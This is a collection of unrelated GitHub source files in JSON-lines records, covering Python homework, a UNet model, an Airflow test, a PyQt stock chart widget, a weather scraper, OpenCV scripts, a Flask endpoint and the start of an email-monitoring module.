>= 60:\r\n final_grade = 'D'\r\nelse:\r\n final_grade = 'F'\r\n\r\n\r\n\r\nprint()\r\nprint('------------Results------------')\r\nprint(f'Lowest score : {low:.1f}')\r\nprint('Modified List :', scores)\r\nprint('Scores Average : {:0,.2f}'.format(avg))\r\nprint('Grade :',final_grade) \r\nprint('---------------------------------------')\r\n","repo_name":"apichellc5417/cti110","sub_path":"P4HW1_ApichellColby.py","file_name":"P4HW1_ApichellColby.py","file_ext":"py","file_size_in_byte":1569,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"15945566052","text":"from xml.etree.ElementTree import parse, iterparse\n\n\ndef get_dom_text(filepath, tag):\n result = []\n xml_file = open(filepath,encoding='UTF-8')\n dom = parse(xml_file)\n root = dom.getroot()\n for child_of_root in root.findall(tag):\n # result.append(Article.findtext(tag))\n # print(Article.findtext(tag))\n # for elem in child_of_root.iter(tag='tag'):\n # print(elem.text)\n # print(child_of_root.tag)\n result.append(child_of_root.text)\n # print(len(result))\n xml_file.close()\n return result\n\n\ndef parse_and_remove(filename, path):\n path_parts = path.split('/')\n doc = iterparse(filename, ('start', 'end'))\n next(doc)\n tag_stack = []\n elem_stack = []\n for event, elem in doc:\n if event == 'start':\n tag_stack.append(elem.tag)\n elem_stack.append(elem)\n elif event == 'end':\n if tag_stack == path_parts:\n yield elem\n elem_stack[-2].remove(elem)\n try:\n tag_stack.pop()\n elem_stack.pop()\n except IndexError:\n pass","repo_name":"sheolock/BioNR","sub_path":"utils/xmltoword.py","file_name":"xmltoword.py","file_ext":"py","file_size_in_byte":1134,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"74249124403","text":"#/usr/bin/python3\nfrom optparse import OptionParser\nfrom processor import Processor\nfrom assembler import Assembler\nimport exceptions as exp\n\n\n# Handle the options and arguments\ndef get_options():\n parser = OptionParser(usage='t816 file [options]')\n parser.add_option(\"-d\", \"--debug\", dest=\"debug\", action=\"store_true\",\n default=False, help=\"Show debug panel\")\n options, args = parser.parse_args()\n\n if len(args) != 1:\n parser.error(\"You must specify a file to execute\")\n\n return options, args\n\n# This is our main entry point into the application\ndef main():\n options, args = get_options()\n # Create Processor\n processor = Processor(options.debug)\n\n # Load the programe given by the user\n filename = args[0]\n \n try:\n if filename[-3:] == 'tsm':\n processor.load(Assembler(filename).code, name=filename)\n else:\n processor.load_from_file(filename)\n except exp.InvalidFile:\n print(\"Invalid file %s\" % filename)\n exit(1)\n except IOError:\n print(\"File %s does not exist\" % filename)\n exit(1)\n\n # Start the processing\n processor.run()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"blazes816/T81","sub_path":"boot.py","file_name":"boot.py","file_ext":"py","file_size_in_byte":1207,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"24523728571","text":"import torch\nimport torch.nn as nn\n\nfrom notebooks.unet.parts import DownBlock, ConvolutionalBlock, UpBlock, OutBlock\n\n\nclass UNet(nn.Module):\n \"\"\"Class used to build actual UNet using parts\"\"\"\n def __init__(self, n_channels):\n \"\"\"\n Parameters\n ----------\n n_channels: int\n number of input channels\n \"\"\"\n super(UNet, self).__init__()\n\n self.down1 = DownBlock(n_channels, 64)\n self.down2 = DownBlock(64, 128)\n self.down3 = DownBlock(128, 256)\n self.down4 = DownBlock(256, 512)\n\n self.b = ConvolutionalBlock(512, 1024)\n\n self.up1 = UpBlock(1024, 512)\n self.up2 = UpBlock(512, 256)\n self.up3 = UpBlock(256, 128)\n self.up4 = UpBlock(128, 64)\n\n self.c = OutBlock(64, 1)\n\n def forward(self, inputs):\n l1, p1 = self.down1(inputs)\n l2, p2 = self.down2(p1)\n l3, p3 = self.down3(p2)\n l4, p4 = self.down4(p3)\n\n b = self.b(p4)\n\n d1 = self.up1(b, l4)\n d2 = self.up2(d1, l3)\n d3 = self.up3(d2, l2)\n d4 = self.up4(d3, l1)\n\n output = self.c(d4)\n\n return output\n","repo_name":"anras5/BloodVessels","sub_path":"notebooks/unet/unet.py","file_name":"unet.py","file_ext":"py","file_size_in_byte":1154,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"21098231466","text":"'''\n2.2\nhttps://open.kattis.com/problems/doorman?tab=metadata\n\n- the club is full, the number of women and men let into the club should be roughly the same\n- decide to let the second person in the queue cut the line and slip into the club before the person in front\n'''\n\nmax_diff = int(input())\ns = list(input())\n\nm = 0\nw = 0\n\nwhile abs(w - m) <= max_diff and len(s) > 0:\n if len(s) > 1:\n '''\n Switch 1st and 2nd person if they are opposite gender\n and gender difference is larger than `max_diff`\n '''\n if (s[0] == 'W' and s[1] == 'M' and abs(w + 1 - m) > max_diff) or (s[0] == 'M' and s[1] == 'W' and abs(w - (m + 1)) > max_diff): \n temp = s[0]\n s[0] = s[1]\n s[1] = temp\n \n # If 1st and 2nd person are same gender then `break` the while loop\n elif (s[0] == 'W' and s[1] == 'W' and abs(w + 1 - m) > max_diff) or (s[0] == 'M' and s[1] == 'M' and abs(w - (m + 1)) > max_diff):\n break\n\n # Let the 1st person in\n if s[0] == 'W':\n w += 1\n elif s[0] == 'M':\n m += 1\n s.pop(0)\n \n\nprint(m + w) # Print max number of people","repo_name":"KhoiUna/icpc-practice","sub_path":"doorman.py","file_name":"doorman.py","file_ext":"py","file_size_in_byte":1147,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"5697298281","text":"#!/usr/bin/python3\n\"\"\" savefile - example script for [un]packing a save file. \"\"\"\n\nimport sys\n\nfrom .meleegci import *\n\nprint(sys.argv)\nif len(sys.argv) < 4:\n print(\"Usage: savefile.py [--pack | --unpack] \")\n print(\"[Un]pack the input GCI and save the contents to some output file.\")\n exit(0)\nelse:\n flag = sys.argv[1]\n input_fn = sys.argv[2]\n output_fn = sys.argv[3]\n\n# -----------------------------------------------------------------------------\n\nif (flag == \"--unpack\"):\n input_gci = melee_gamedata(input_fn, packed=True)\n print(\"[*] Read GCI: {}\".format(input_gci.get_filename()))\n input_gci.unpack()\n\nelif (flag == \"--pack\"):\n input_gci = melee_gamedata(input_fn, packed=False)\n print(\"[*] Read GCI: {}\".format(input_gci.get_filename()))\n input_gci.recompute_checksums()\n input_gci.pack()\n\nelse:\n print(\"Usage: savefile.py [--pack | --unpack] \")\n exit(0)\n\n\n# -----------------------------------------------------------------------------\n# Write the new GCI to a file\n\nprint(\"Writing to {}\".format(output_fn))\nofd = open(output_fn, \"wb\")\nofd.write(input_gci.raw_bytes)\nofd.close()\n","repo_name":"dansalvato/melee-gci-compiler","sub_path":"mgc/gci_tools/savefile.py","file_name":"savefile.py","file_ext":"py","file_size_in_byte":1179,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"75"} +{"seq_id":"36435403579","text":"import unittest\ntry:\n from unittest import mock\nexcept ImportError:\n try:\n import mock\n except ImportError:\n mock = None\n\nfrom airflow import configuration\nfrom airflow.contrib.hooks.sagemaker_hook import SageMakerHook\nfrom airflow.contrib.operators.sagemaker_endpoint_config_operator \\\n import SageMakerEndpointConfigOperator\nfrom airflow.exceptions import AirflowException\n\nmodel_name = 'test-model-name'\nconfig_name = 'test-config-name'\n\ncreate_endpoint_config_params = {\n 'EndpointConfigName': config_name,\n 'ProductionVariants': [\n {\n 'VariantName': 'AllTraffic',\n 'ModelName': model_name,\n 'InitialInstanceCount': '1',\n 'InstanceType': 'ml.c4.xlarge'\n }\n ]\n}\n\n\nclass TestSageMakerEndpointConfigOperator(unittest.TestCase):\n\n def setUp(self):\n configuration.load_test_config()\n self.sagemaker = SageMakerEndpointConfigOperator(\n task_id='test_sagemaker_operator',\n aws_conn_id='sagemaker_test_id',\n config=create_endpoint_config_params\n )\n\n def test_parse_config_integers(self):\n self.sagemaker.parse_config_integers()\n for variant in self.sagemaker.config['ProductionVariants']:\n self.assertEqual(variant['InitialInstanceCount'],\n int(variant['InitialInstanceCount']))\n\n @mock.patch.object(SageMakerHook, 'get_conn')\n @mock.patch.object(SageMakerHook, 'create_endpoint_config')\n def test_execute(self, mock_model, mock_client):\n mock_model.return_value = {\n 'EndpointConfigArn': 'testarn',\n 'ResponseMetadata': {\n 'HTTPStatusCode': 200\n }\n }\n self.sagemaker.execute(None)\n mock_model.assert_called_once_with(create_endpoint_config_params)\n\n @mock.patch.object(SageMakerHook, 'get_conn')\n @mock.patch.object(SageMakerHook, 'create_model')\n def test_execute_with_failure(self, mock_model, mock_client):\n mock_model.return_value = {\n 'EndpointConfigArn': 'testarn',\n 'ResponseMetadata': {\n 'HTTPStatusCode': 200\n }\n }\n self.assertRaises(AirflowException, self.sagemaker.execute, None)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"BigDataMatrix/DataPipeline","sub_path":"tests/contrib/operators/test_sagemaker_endpoint_config_operator.py","file_name":"test_sagemaker_endpoint_config_operator.py","file_ext":"py","file_size_in_byte":2306,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"75"} +{"seq_id":"32793622548","text":"import matplotlib.pyplot as plt\r\nfrom matplotlib.dates import num2date\r\nfrom matplotlib.backends.backend_qt5agg import FigureCanvas as FigureCanvas\r\nfrom matplotlib.figure import Figure\r\nfrom Base import DB, PATH\r\nimport pandas as pd\r\nfrom PyQt5.QtWidgets import *\r\nfrom PyQt5 import uic\r\nfrom datetime import datetime, timedelta\r\n\r\n#-------------------------------------------------------------------------- \r\n# Widget ui\r\nform = PATH.resource_path('Set_Widget.ui')\r\nSet_form = uic.loadUiType(form)[0]\r\n# News Research PublicNotice ui\r\nform = PATH.resource_path('News_Research_PublicNotice.ui')\r\nNSP_form = uic.loadUiType(form)[0]\r\n\r\n#-------------------------------------------------------------------------- \r\n# News Research PublicNotice Widget Class\r\nclass NSPWidgetClass(QWidget, NSP_form):\r\n def __init__(self): \r\n super( ).__init__( )\r\n self.setupUi(self)\r\n\r\n#-------------------------------------------------------------------------- \r\n# Widget Set Class\r\nclass WidgetClass(QWidget, Set_form):\r\n def __init__(self, stock_name): \r\n super( ).__init__( )\r\n self.setupUi(self)\r\n self.stock_name = stock_name\r\n self.target_price_ = None\r\n self.togglebutton.toggled.connect(self.slot_toggle)\r\n self.setButton.clicked.connect(self.slot_btn)\r\n self.SetPrice()\r\n self.SetMonth()\r\n self.SetNews()\r\n self.SetResearch()\r\n self.SetPublicNotice()\r\n\r\n#-------------------------------------------------------------------------- \r\n# 이벤트 함수\r\n def slot_toggle(self,state):\r\n self.togglebutton.setText({True:'월봉 차트 변환',False: \"일봉 차트 변환\"}[state])\r\n self.Chart.setCurrentWidget({True:self.ChartPage1,False: self.ChartPage2}[state])\r\n\r\n def slot_btn(self):\r\n text = self.target_price_text.text()\r\n self.target_price_ = int(text)\r\n\r\n def on_press_day(self, event):\r\n x = num2date(event.xdata).strftime('%m월%d일 %H:%M:%S')\r\n self.coordinateLabel.setText(x)\r\n\r\n y = f'{int(event.ydata)} 원'\r\n self.priceLabel.setText(y)\r\n\r\n def on_press_month(self, event):\r\n x = num2date(event.xdata).strftime('%Y년%m월%d일')\r\n self.coordinateLabel.setText(x)\r\n\r\n y = f'{int(event.ydata)} 원'\r\n self.priceLabel.setText(y)\r\n\r\n#-------------------------------------------------------------------------- \r\n# 시세 차트 출력 함수 \r\n def SetPrice(self):\r\n self.Chart.setCurrentWidget(self.ChartPage1)\r\n canvas = FigureCanvas(Figure())\r\n layout = self.ChartPage1Layout\r\n layout.addWidget(canvas)\r\n \r\n \r\n plt.rc('font', family='Malgun Gothic')\r\n plt.rc('axes', unicode_minus=False)\r\n\r\n splot = canvas.figure.subplots()\r\n \r\n data = self.GetPrice()\r\n df = pd.DataFrame(data)\r\n df.plot(kind='line',x='datetime',y=self.stock_name, ax=splot, legend=None, x_compat=True)\r\n splot.set_title(self.stock_name, fontsize=10)\r\n \r\n # 목표가 지정\r\n self.target_price_ = int(data[0][self.stock_name] * 1.3)\r\n self.target_price_text.setText(str(self.target_price_))\r\n \r\n # chart x축 조정\r\n datestr = data[0]['datetime'].strftime('%Y-%m-%d')\r\n splot.set_xlim((f'{datestr} 09:00:00',f'{datestr} 15:30:00'))\r\n splot.set_xticks([f'{datestr} 09:00:00',f'{datestr} 11:00:00',f'{datestr} 13:00:00',f'{datestr} 15:30:00']) \r\n splot.set_xticklabels(['9:00','11:00','13:00','15:30'], fontsize=8, rotation=0, ha='center')\r\n splot.axes.yaxis.set_visible(False)\r\n\r\n # 현재 시세 설정 및 마우스 이벤트 연동\r\n self.coordinateLabel.setText(data[0]['datetime'].strftime('%m월%d일 %H:%M:%S'))\r\n self.priceLabel.setText(str(data[0][self.stock_name]))\r\n canvas.mpl_connect(\"button_press_event\", self.on_press_day)\r\n\r\n#-------------------------------------------------------------------------- \r\n# 현재 시세 DB에서 얻어오는 함수\r\n def GetPrice(self):\r\n db = DB()\r\n cursor = db.GetCursor()\r\n cursor.execute('use kis_api')\r\n\r\n day = 0\r\n data = None\r\n while True:\r\n time_s = (datetime.now() - timedelta(days = day)).strftime('%Y-%m-%d 09:00:00')\r\n time_e = (datetime.now() - timedelta(days = day)).strftime('%Y-%m-%d 15:30:00') \r\n\r\n select = f'SELECT datetime,{self.stock_name} FROM kis_api.price where datetime between \"{time_s}\" AND \"{time_e}\" AND minute(datetime)%10=0 order by datetime desc;'\r\n cursor.execute(select)\r\n data = cursor.fetchall()\r\n\r\n if not data:\r\n day = day + 1\r\n continue\r\n \r\n break\r\n \r\n\r\n return data\r\n\r\n#-------------------------------------------------------------------------- \r\n# 월봉 차트 출력 함수\r\n def SetMonth(self):\r\n canvas = FigureCanvas(Figure())\r\n layout = self.ChartPage2Layout\r\n layout.addWidget(canvas)\r\n \r\n plt.rc('font', family='Malgun Gothic')\r\n plt.rc('axes', unicode_minus=False)\r\n\r\n splot = canvas.figure.subplots()\r\n \r\n data = self.GetMonth()\r\n df = pd.DataFrame(data)\r\n df.plot(kind='line',x='date',y=self.stock_name, ax=splot, legend=None)\r\n splot.set_title(self.stock_name, fontsize=10)\r\n \r\n splot.axes.yaxis.set_visible(False)\r\n # 마우스 이벤트 연동\r\n canvas.mpl_connect(\"button_press_event\", self.on_press_month)\r\n\r\n#-------------------------------------------------------------------------- \r\n# 월봉 차트 DB에서 얻어오는 함수\r\n def GetMonth(self):\r\n db = DB()\r\n cursor = db.GetCursor()\r\n cursor.execute('use kis_api')\r\n select = f'SELECT date,{self.stock_name} FROM kis_api.price_month order by date;'\r\n cursor.execute(select)\r\n data = cursor.fetchall()\r\n\r\n return data\r\n\r\n#-------------------------------------------------------------------------- \r\n# 뉴스 탭에 출력하는 함수\r\n def SetNews(self):\r\n # News 스크롤에 위젯 추가\r\n SALayout = self.NewsScrollLayout\r\n\r\n df = self.GetNews()\r\n for row in df:\r\n news = NSPWidgetClass()\r\n url_ = row['url']\r\n title_ = row['title']\r\n press_ = row['press']\r\n date_ = row['datetime'].strftime('%Y-%m-%d')\r\n news.Title.setText(f'{title_}')\r\n news.Press.setText(press_)\r\n news.Date.setText(date_)\r\n # 하이퍼링크 추가\r\n news.Title.setOpenExternalLinks(True)\r\n SALayout.addWidget(news)\r\n\r\n#-------------------------------------------------------------------------- \r\n# 뉴스 DB에서 얻어오는 함수 \r\n def GetNews(self):\r\n time_s = (datetime.now() - timedelta(days=7))\r\n time_s = time_s.strftime('%Y-%m-%d %H:%M:%S')\r\n time_e = datetime.now().strftime('%Y-%m-%d %H:%M:%S')\r\n\r\n db = DB()\r\n cursor = db.GetCursor()\r\n\r\n select = f'SELECT * FROM news_research.news where datetime between \"{time_s}\" AND \"{time_e}\" AND name=\"{self.stock_name}\" order by datetime desc;'\r\n cursor.execute(select)\r\n\r\n data = cursor.fetchall()\r\n return data\r\n\r\n#-------------------------------------------------------------------------- \r\n# 리서치 탭에 출력하는 함수\r\n def SetResearch(self):\r\n # Research 스크롤에 위젯 추가\r\n SALayout = self.ResearchScrollLayout\r\n\r\n data = self.GetResearch()\r\n for row in data:\r\n research = NSPWidgetClass()\r\n url_ = row['pdf_url']\r\n title_ = row['title']\r\n company_ = row['company']\r\n date_ = row['datetime'].strftime('%Y-%m-%d')\r\n research.Title.setText(f'{title_}')\r\n research.Press.setText(company_)\r\n research.Date.setText(date_)\r\n # 하이퍼링크 추가\r\n research.Title.setOpenExternalLinks(True)\r\n SALayout.addWidget(research)\r\n\r\n#-------------------------------------------------------------------------- \r\n# 리처시 DB에서 얻어오는 함수 \r\n def GetResearch(self):\r\n time_s = (datetime.now() - timedelta(days=7))\r\n time_s = time_s.strftime('%Y-%m-%d %H:%M:%S')\r\n time_e = datetime.now().strftime('%Y-%m-%d %H:%M:%S')\r\n\r\n db = DB()\r\n cursor = db.GetCursor()\r\n\r\n select = f'SELECT * FROM news_research.research where (datetime between \"{time_s}\" AND \"{time_e}\") AND (name=\"{self.stock_name}\" OR ISNULL(name)) order by datetime desc;'\r\n cursor.execute(select)\r\n\r\n data = cursor.fetchall()\r\n return data\r\n\r\n#-------------------------------------------------------------------------- \r\n# 공시 탭에 출력하는 함수\r\n def SetPublicNotice(self):\r\n # PublicNotice 스크롤에 위젯 추가\r\n SALayout = self.PublicNoticeScrollLayout\r\n\r\n df = self.GetPublicNotice()\r\n for row in df:\r\n Pnotice = NSPWidgetClass()\r\n url_ = row['pdf_url']\r\n title_ = row['title']\r\n name_ = row['name']\r\n date_ = row['datetime'].strftime('%Y-%m-%d')\r\n Pnotice.Title.setText(f'{title_}')\r\n Pnotice.Press.setText(name_)\r\n Pnotice.Date.setText(date_)\r\n # 하이퍼링크 추가\r\n Pnotice.Title.setOpenExternalLinks(True)\r\n SALayout.addWidget(Pnotice)\r\n\r\n#-------------------------------------------------------------------------- \r\n# 공시 DB에서 얻어오는 함수 \r\n def GetPublicNotice(self):\r\n time_s = (datetime.now() - timedelta(days=50))\r\n time_s = time_s.strftime('%Y-%m-%d %H:%M:%S')\r\n time_e = datetime.now().strftime('%Y-%m-%d %H:%M:%S')\r\n\r\n db = DB()\r\n cursor = db.GetCursor()\r\n\r\n select = f'SELECT * FROM dart_api.public_notice where datetime between \"{time_s}\" AND \"{time_e}\" AND name=\"{self.stock_name}\" order by datetime desc;'\r\n cursor.execute(select)\r\n\r\n data = cursor.fetchall()\r\n return data","repo_name":"wnso-kim/Robotic-Process-Automation-PB","sub_path":"Front-End/Widget.py","file_name":"Widget.py","file_ext":"py","file_size_in_byte":10377,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"75015265841","text":"import urllib.request\nimport ws.bad as bad\nimport pandas as pd\nimport json\nimport logging\nimport re\nimport pprint\nimport numpy\nimport datetime\nimport numpy as np\n\n\ndef get_city_index(city):\n '''\n input must be a string, containing the city name alone\n '''\n\n url = ('http://wxdata.weather.com/wxdata/ta/' + city + ',germany' +\n '.js?locType=1&cb=twctacb_575661617_4&' +\n 'key=2227ef4c-dfa4-11e0-80d5-0022198344f4&max=20&locale=en_US')\n\n logging.debug('city %s url %s', city, url)\n\n with urllib.request.urlopen(url) as response:\n data = response.read()\n data = data.decode(encoding='UTF-8')\n\n # Prune the data to a pure json string\n data = re.sub('^[a-z0-9_]+\\(', '', data)\n data = re.sub('\\)$', '', data)\n\n index_dict = json.loads(data)\n\n # Select the first match for this city. If there is no match, raise a\n # bad.City exception.\n num_results = len(index_dict['results'])\n if num_results > 0:\n first_match = index_dict['results'][0]\n index = first_match['key']\n else:\n raise bad.City\n\n logging.debug('index %s', index)\n\n return index\n\n\ndef build_url(city):\n '''\n input must be a string, containing the city name alone\n '''\n city_index = get_city_index(city)\n url = 'http://dsx.weather.com/%28wxd/v2/MORecord;wxd/v2/wwir;wxd/'\\\n +'v2/PastFlu;wxd/v2/DIRecord;wxd/'\\\n +'v2/DHRecord;wxd/v2/BERecord;wxd/v2/'\\\n +'TIRecord;wxd/v2/WMRecord%29/%28en_US/'+city_index\\\n +':1:GM%29?api=01119904-40b2-4f81-94a0-57867d0fd22c'\n return url\n\n# DI Record is what we want (forecast for a week or so)\n\ndef pandize(data, cityname, date):\n provider = 'weatherdotcom'\n\n data = json.loads(data)\n table = pd.DataFrame(columns = (['Provider', 'ref_date', 'city',\n 'pred_offset', 'Station ID', 'Date',\n 'Quality Level', 'Air Temperature',\n 'Vapor Pressure', 'Degree of Coverage',\n 'Air Pressure', 'Rel Humidity', 'Wind Speed',\n 'Max Air Temp', 'Min Air Temp',\n 'Min Groundlvl Temp', 'Max Wind Speed',\n 'Precipitation', 'Precipitation Ind',\n 'Hrs of Sun', 'Snow Depth']))\n\n # Forecast for today\n today = data[0]['doc']['MOData']\n\n sunrise = datetime.datetime.strptime(today['_sunriseISOLocal'][:-len('.000+02:00')], \"%Y-%m-%dT%H:%M:%S\")\n sunset = datetime.datetime.strptime(today['_sunsetISOLocal'][:-len('.000+02:00')], \"%Y-%m-%dT%H:%M:%S\")\n sunhrs = (sunset - sunrise).total_seconds() / 3600\n\n table.loc[0] = ([provider, date, cityname, 0, np.nan, date,\n today['wx'], today['tmpC'], np.nan, np.nan,\n today['pres'], today['rH'], today['wSpdK'], np.nan,\n np.nan, np.nan, np.nan, today['_prcp24Mm'], np.nan,\n sunhrs, today['snwDep']])\n\n # Forecasts for upcoming days\n dig = data[3]['doc']['DIData']\n\n count = 1\n for i, fc in enumerate(dig):\n # We already have Today from above, also throw away the nights\n if fc['dyPrtNm'] == 'Today':\n continue\n elif fc['dyPrtNm'] == 'Tonight':\n continue\n elif 'night' in fc['dyPrtNm']:\n continue\n # We have two forecasts for some days, one 12h and one 24h.\n elif fc['dur'] == 12 and dig[i+1]['dyPrtNm'] == fc['dyPrtNm'] and dig[i+1]['dur'] == 24:\n continue\n\n altPhrase = fc['altPhrase']\n\n # Temperature of the day (lows are for night according to the official\n # web interface)\n m1 = re.search('High (?:|near |around )([0-9]+)C', altPhrase)\n m2 = re.search('Highs ([0-9]+) to ([0-9]+)C', altPhrase)\n high_temp = np.nan\n if m1:\n high_temp = int(m1.group(1))\n elif m2:\n # This is what the official web interface does.\n high_temp = (int(m2.group(1)) + int(m2.group(2))) / 2\n\n if np.isnan(high_temp):\n logging.error('No temperature in the forecast! altPhrase = %s', altPhrase)\n\n table.loc[count] = ([provider, date, cityname, count, np.nan, date,\n fc['snsblWx'], high_temp, np.nan, np.nan,\n np.nan, np.nan, np.nan, np.nan,\n np.nan, np.nan, np.nan, np.nan, np.nan,\n np.nan, np.nan])\n count += 1\n\n return table\n","repo_name":"BCCN-Prog/webscraping_2015","sub_path":"ws/plugins/weatherdotcom/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"22524854056","text":"import cv2\nimport numpy as np\n\n\nimg = cv2.imread(\"pirinc.jpg\")\n\n\n\n\nimg_gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\n\n_, maske = cv2.threshold(img_gray, 100, 255, cv2.THRESH_BINARY) \n\n\nboyut = np.ones((5, 5), np.uint8)\nmaske1 = cv2.morphologyEx(maske, cv2.MORPH_OPEN, boyut, iterasyon=2)\n\nmaske1_copy = cv2.morphologyEx(maske, cv2.MORPH_OPEN, boyut, iterasyon=2)\n\n\n\ncontours, _ = cv2.findContours(maske1, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n\n\npirinc_Sayisi = len(contours)\n\n\n\n\ncontours, _ = cv2.findContours(maske1, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n\n\npirinc_Sayisi = len(contours)\n\n\nfor i, contour in enumerate(contours, 1):\n cv2.drawContours(maske1, [contour], -1, (0, 255, 0), 2)\n M = cv2.moments(contour)\n if M[\"m00\"] != 0:\n cX = int(M[\"m10\"] / M[\"m00\"])\n cY = int(M[\"m01\"] / M[\"m00\"])\n cv2.putText(maske1, f\"{i}\", (cX, cY), cv2.FONT_HERSHEY_SIMPLEX, 4, (255, 255, 255), 8)\n\n\n\n\nyeniResim = cv2.resize(img, (800,700))\nyeniCikti = cv2.resize(maske1, (800,700))\n\ncv2.imshow(\"resim\",yeniResim)\ncv2.imshow(\"Çıktı\", yeniCikti)\n\ncv2.waitKey()\ncv2.destroyAllWindows()","repo_name":"domagoceto/Goruntu-Isleme-Odev","sub_path":"Project 3/Odev3.py","file_name":"Odev3.py","file_ext":"py","file_size_in_byte":1114,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"6195800865","text":"import numpy as np\nimport cv2\nfrom matplotlib import pyplot as plt\n\nimg_path = 'image.jpg'\nimg = cv2.imread(img_path)\nsrc_h = img.shape[0]\nsrc_w = img.shape[1]\ndst_h = int(1.8*src_h) # 图像缩放倍数\ndst_w = int(1.8*src_w) # 图像缩放倍数\n\ndst_img = np.zeros((dst_h, dst_w, 3), dtype=np.uint8)\nfor c in range(3):\n for h in range(dst_h):\n for w in range(dst_w):\n # 目标点在原图上的位置\n # 使几何中心点重合\n src_x = (w+0.5)*src_w/dst_w-0.5\n src_y = (h+0.5)*src_h/dst_h-0.5\n if src_x<0:\n src_x = 0\n if src_y<0:\n src_y = 0\n # 不考虑几何中心重合直接对应\n# src_x = w*src_w/dst_w\n# src_y = h*src_h/dst_h\n \n # 确定最近的四个点\n # np.floor()返回不大于输入参数的最大整数。(向下取整)\n x1 = int(np.floor(src_x))\n y1 = int(np.floor(src_y))\n x2 = int(min(x1+1, src_w-1)) #防止超出原图像范围\n y2 = int(min(y1+1, src_h-1.6))\n \n # x方向线性插值,原公式本来要除一个(x2-x1),这里x2-x1=1\n R1 = (x2-src_x)*img[y1,x1,c]+(src_x-x1)*img[y1,x2,c]\n R2 = (x2-src_x)*img[y2,x1,c]+(src_x-x1)*img[y2,x2,c]\n \n # y方向线性插值,同样,原公式本来要除一个(y2-y1),这里y2-y1=1\n P = (y2-src_y)*R1+(src_y-y1)*R2\n dst_img[h,w,c] = P\nplt.imshow(dst_img)","repo_name":"niuyixing/HQID","sub_path":"HCycleGAN/resize.py","file_name":"resize.py","file_ext":"py","file_size_in_byte":1548,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"19560089543","text":"\n\ndef search(Cnumberlist, filename=\"test.kcfs\"):\n \"make kcffile only given Cnumbers from all kcffile\"\n for Cnumber in Cnumberlist:\n Cn = int(Cnumber[1:])\n if Cn <= 9217:\n page = \"1-9\"\n elif Cn <= 19275:\n page = \"10-19\"\n elif Cn <= 29326:\n page = \"20-29\"\n elif Cn <= 39355:\n page = \"30-39\"\n elif Cn <= 49370:\n page = \"40-49\"\n elif Cn <= 50409:\n page = \"50-59\"\n else:\n print(\"your Cnumber \" + Cnumber + \" is too large\")\n continue\n\n with open(\"../../../作業場/kcfs/KNApSAck\" + page + \".kcfs\") as f:\n for (i, line) in enumerate(f):\n # print(line[12:21]) # C00000000\n if line[12:21] == Cnumber:\n # temp = i\n # print(\"find\", temp)\n lin = line\n flag = 0\n with open(filename, \"a\") as fw:\n while(lin[:5] != \"ENTRY\" or flag != 1):\n flag = 1\n fw.write(lin)\n lin = f.readline()\n else:\n break\n\n\ndef main(Clist):\n # Clist = input()\n search(Clist)\n\n\nif __name__ == \"__main__\":\n main(['C00000730', 'C00000733', 'C00000734'])\n","repo_name":"sato-masayukidesu/KNApSAcK_search","sub_path":"new_version/Csearch2.py","file_name":"Csearch2.py","file_ext":"py","file_size_in_byte":1368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"1669832821","text":"from flask import Flask, abort, request, jsonify\nimport json\n\napp = Flask(__name__)\n\n@app.route(\"/test\", methods=['POST'])\ndef test():\n if not request.json:\n abort(400)\n print(request.json)\n return json.dumps(request.json)\n else:\n if request.is_json:\n data = request.json\n string_to_cut = data[\"string_to_cut\"]\n data[\"string_to_cut\"] = string_to_cut[2:-1:3]\n return jsonify(data)\n \nif __name__ == \"__main__\":\n app.run()\n","repo_name":"ahrchen/testLyft","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"25737139076","text":"import os\nimport imaplib\nimport os.path \nimport email\nfrom datetime import timedelta, datetime\nimport Othenticator\nimport re\n\ndef function_constructor(func):\n \"\"\"\n Decorator used to construct a function\n \"\"\"\n def wrapper(folder_path, **kwargs):\n return lambda: func(folder_path, **kwargs)\n return wrapper\n\n@function_constructor\ndef folder_monitor_constructor(folder_path, in_name_criteria = None):\n \"\"\"\n Constructs a function that monitors folder content and returns values based on content and set criteria\n\n Args:\n folder: specify path to monitored folder\n in_name_criteria: filter out any files in folder not containing the Regex criteria in name\n\n Returns:\n List of file names in folder containing criteria (all files if no criteria is set) \n \"\"\"\n\n\n files_in_folder = os.listdir(folder_path)\n if in_name_criteria:\n trigger_files = [file for file in files_in_folder if re.match(in_name_criteria,file)]\n trigger_files = [os.path.join(folder_path,file) for file in trigger_files]\n return trigger_files\n return [os.path.join(folder_path,file) for file in files_in_folder]\n\n\nclass Mail:\n\n files_in_dir_path = []\n dir_path = \"\"\n\n def __init__(self, uid: bytes,response: bytes):\n self.uid = uid\n self.message = self._construct_Message_obj(response)\n \n @staticmethod\n def _construct_Message_obj(response):\n return email.message_from_string(response[0][1].decode(\"utf-8\"))\n \n def get_subject(self) -> str:\n subject = self.message.get(\"subject\")\n return self._clean_str_format(subject)\n\n def get_from_adress(self) -> str:\n 